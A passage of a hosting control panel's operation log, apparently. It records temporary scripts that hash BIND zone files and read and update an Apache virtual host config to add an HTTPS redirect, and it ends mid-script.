hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-12-29 21:54:05: Establishing a connection
2025-12-29 21:54:12: Establishing a connection
2025-12-29 21:54:12:
PUT: /tmp/pkp841883
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-29 21:54:12:
runuser -l bind -s /bin/bash -c '/tmp/pkp841883; rm /tmp/pkp841883'
2025-12-29 21:54:12:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-29 21:54:19: Establishing a connection
2025-12-29 21:54:19:
PUT: /tmp/pkp902805
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/carelinks_new_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-29 21:54:19:
chmod 755 /tmp/pkp902805; /tmp/pkp902805; rm /tmp/pkp902805
2025-12-29 21:54:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_new_net.conf 41
<VirtualHost *:80>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_access.log combined
ErrorLog /var/log/apache2/carelinks/new_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/new_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-29 21:54:19:
PUT: /tmp/pkp129703
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_new_net.conf
TARGET=/etc/apache2/sites-enabled/carelinks_new_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_access.log combined
ErrorLog /var/log/apache2/carelinks/new_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/new_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p /var/log/apache2/carelinks
mkdir -p $DOCROOT/$PUBLIC
chown -R phil:phil $DOCROOT
ln -s "..//etc/apache2/sites-enabled/carelinks_new_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf= 1'
fi
2025-12-29 21:54:19:
chmod 755 /tmp/pkp129703; /tmp/pkp129703; rm /tmp/pkp129703
2025-12-29 21:54:19:
2025-12-29 21:54:19:
PUT: /tmp/pkp605383
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/carelinks_new_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-29 21:54:19:
chmod 755 /tmp/pkp605383; /tmp/pkp605383; rm /tmp/pkp605383
2025-12-29 21:54:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_new_net.conf 41
<VirtualHost *:80>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_access.log combined
ErrorLog /var/log/apache2/carelinks/new_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/new_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-29 21:54:19:
PUT: /tmp/pkp458202
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_new_net.conf
TARGET=/etc/apache2/sites-enabled/carelinks_new_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_access.log combined
ErrorLog /var/log/apache2/carelinks/new_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/new_secure_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
